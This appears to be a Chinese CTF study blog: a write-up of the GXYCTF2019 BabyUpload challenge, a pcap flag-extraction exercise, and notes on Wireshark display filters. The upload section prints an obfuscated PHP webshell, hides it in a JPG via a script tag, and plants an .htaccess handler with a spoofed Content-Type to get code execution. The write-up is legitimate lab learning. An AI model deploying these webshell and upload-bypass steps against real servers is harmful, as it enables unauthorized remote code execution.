1.[GXYCTF2019]BabyUpload
1)打开题目也是没有任何提示,
2)进入环境,看到下面页面猜测是文件上传漏洞,下面开始传文件
3)首先上传一句话木马 a.php,代码如下:
下面这个代码中并没有写传统的一句话木马,因为直接写一句话木马需要关闭系统防火墙。
<?php
$a="a"."s";
$b="s"."e"."rt";
$c=$a.$b;
$c($_POST['123']);
?>
提示后缀不能有ph,那么根据前面做过类似文件上传的题,php3,php5,phtml等后缀也无法使用了。
5)那就将文件后缀改为 jpg,上传后页面如下:
6)由此我们得知,后端检测出我们的.jpg文件源码中含有php代码。
那么只有将.jpg文件中的php代码用 javascript 的形式代替了,代码如下:
<script language='php'>
$a = "a"."s";
$b = "s"."e"."r"."t";
$c = $a.$b;
$c($_POST["123"]);
</script>
重新上传,页面如下:
7)这里也是上传成功了,接下来按照之前做题惯例,它应该还得解析jpg文件中的php代码了,这时就需要上传.htaccess文件来帮助解析,它必须包含以下代码
SetHandler application/x-httpd-php
这条命令可以解析所有后缀文件中的 php 代码。
上传出现这问题我也是懵了,抓个包看看吧
猜测应该是,后端代码对文件类型--Content-type有限制。
这就需要我们在上传 .htaccess 文件的同时,利用Burpsuite进行抓包,修改 Content-type为image/jpeg,如下:
修改为image/jpeg
然后放包
页面显示上传成功(.htaccess successfully uploaded)
然后再次上传jpg文件,如下:
由此可以拼接网址
http://c36ead8b-24f9-48f5-ab15-e7308cb50dc7.node5.buuoj.cn:81/upload/c9b8b9f7c985fa1d10ca30c0f9a2de85/b.jpg
然后用蚁剑链接
成功找到flag
总结一下这题简单来说它就是过滤了php,限制了文件上传的内容,然后需要解析jpg文件,需要上传.htaccess文件来进行解析,以及修改数据类型,拼接url头等
2.数据包中的线索
1)下载附件,用wireshark打开,从中进行数据分析
2)过滤一下http流
3)找到一个状态值为200的,看着有点问题,打开seesee
看到里面是类似于base64编码的一大篇
4)选中编码去解码,注意最后面多了个0要去掉
太大解析不出来,直接将他存为图片
拿到 flag{209acebf6324a09671abc31c869de72c}
当然这里需要注意的是
/9j是jpg文件头的 base64 编码
3.最后加上昨天学的再总结一下流量分析
首先whireshark提供了三个主要面板,包括:
抓包面板(Capture Panel):
抓包面板用于捕获网络数据包,并显示已经捕获的数据包列表。在该面板中,可以选择捕获的网络接口、设置捕获过滤器、启动和停止抓包等操作。此外,还可以通过右键单击数据包,查看详细信息、导出数据包、跟踪TCP流等。
数据包列表面板(Packet List Panel):
数据包列表面板显示已经捕获的数据包列表,其中每个数据包占据一行,并列出了有关该数据包的一些关键信息,如时间戳、源IP地址、目标IP地址、协议类型、数据包长度等。此外,还可以通过对列表进行排序、筛选、搜索等操作,方便用户查找和分析数据包。
数据包详情面板(Packet Detail Panel):
数据包详情面板显示选定数据包的详细信息,包括各个协议层的数据结构和字段值。用户可以通过展开不同的节点,查看不同的协议头和数据负载,帮助用户深入理解数据包的内容和意义。
常用语法:
(在搜索框输入http即可看http的流量)
tcp:显示所有TCP协议的数据包
udp:显示所有UDP协议的数据包
http:显示所有HTTP协议的数据包
dns:显示所有DNS协议的数据包
icmp:显示所有ICMP协议的数据包
ip地址筛选:
ip.addr == 192.168.0.1:显示与指定IP地址相关的所有数据包
ip.src == 192.168.0.1 :显示源IP地址为指定地址的数据包
ip.dst == 192.168.0.2:显示目标IP地址为指定地址的数据包
端口筛选:
tcp.port == 80:显示使用指定TCP端口的数据包
udp.port == 53:显示使用指定UDP端口的数据包
比较运算符:
==:等于,例如:http.request.method == "POST"
!=:不等于,例如:ip.addr != 192.168.0.1
<、>:小于、大于,例如:frame.len > 100 或 frame.len < 50,可以指定过滤数据包长度
数据包内容过滤规则:
http.request.method == "GET" 或 tcp.flags.syn == 1,可以通过指定数据包内容,只保留符合条件的数据包。
注: 关于我也不太懂的一点
# 就是在TCP三次握手过程中,客户端向服务端发送一个SYN标志的数据包,表示请求建立连接。而tcp.flags.syn == 1就是Wireshark中用于匹配TCP SYN标志的过滤规则,其中1表示该标志位被置为1,表示该数据包是一个SYN数据包。当Wireshark捕获到一个TCP数据包时,会检查该数据包的TCP头部中的SYN标志位是否被置为1,如果符合条件,则该数据包会被匹配并显示出来。这样,用户就可以快速过滤出所有的TCP SYN数据包,方便进行相关的分析和处理。